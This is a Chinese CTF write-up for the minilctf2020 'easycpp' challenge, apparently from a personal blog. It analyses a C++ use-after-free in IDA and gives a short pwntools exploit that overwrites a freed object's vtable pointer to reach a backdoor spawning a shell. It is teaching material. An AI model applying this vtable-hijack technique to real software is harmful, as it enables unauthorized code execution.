minilctf2020 write up for easycpp

萌新做的第一道堆题…

0x00.安全检查

首先是惯例的checksec

image.png

只开了NX保护,四舍五入等于没有

0x01.程序分析

拖入IDA进行分析

image.png

用到了一个名为B的类,我们先看看这个类都有些啥

IDA中类B有一个构造函数B()和一个print()函数

image.png

类B的构造函数如下:

image.png

类B的构造函数首先调用了类A的构造函数,然后将变量_vptr_A设置为一个函数指针

我们不难看到在0x80489E4位置上我们还需要再跳转一次到0x80488F2的位置,这个位置上有一个B::print()函数,故可知这是一个二级函数指针

image.png

image.png

我们再来看看类A的构造函数,如下:

image.png

类A的构造函数也是将变量_vptr_A设置为一个函数指针

位于off_80489F0上的函数为A::print()

image.png

image.png

接下来是main函数的简单分析:

image.png

v3、v4都是一个类型为类 B的指针

首先setvbuf()函数将程序设置为无缓冲输入

之后创建了一个类B的实例并将地址给到指针v3和v4

之后将该实例内的变量_vptr_A的值设为0

之后使用delete释放掉之前分配给v3、v4的内存

之后从标准输入流读入1024个字节到buf(或许有操作空间?)

之后调用strbuf()函数重新分配一段内存空间并将buf的值拷贝一份(当然最后并没有指针接收这一块内存,那么它会成为野内存吗?)

最后重新调用v4的函数指针变量所指向的函数

那么我们在这里就可以发现一个漏洞:

0x02.漏洞利用 - Use After Free

v3、v4所指向的内存空间被释放后v3、v4并没有被设置为NULL,在运行到strdup()函数时这一块内存空间又被重新分配给strdup()函数,而之后又通过v4再次对这一块内存空间进行调用,很明显存在UAF(Use After Free)漏洞

同时我们可以发现存在一个backdoor()函数直接调用了system("/bin/sh"),可以直接getshell

image.png

故我们只需要覆写掉函数指针所指的函数为backdoor()函数即可getshell

构造二级指针的结构应为

buf buf+4
右边那一块的地址 -> 指向backdoor函数的地址

buf的地址如下:

image.png

故得exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

context.log_level = 'debug'

p = process('easycpp')#p = remote('pwn.challenge.lctf.online', 10030)

backdoor = 0x80487BB
buf = 0x804A0C0

payload = p32(buf + 4) + p32(backdoor)

p.sendline(payload)

p.interactive()

向服务器发送payload,成功getsgell

image.png

可能是因为一些奇奇怪怪的原因,cat flag出来的flag不对

Posted on

2021-01-18

Updated on

2021-02-17

Licensed under

Comments

:D 一言句子获取中...

Loading...Wait a Minute!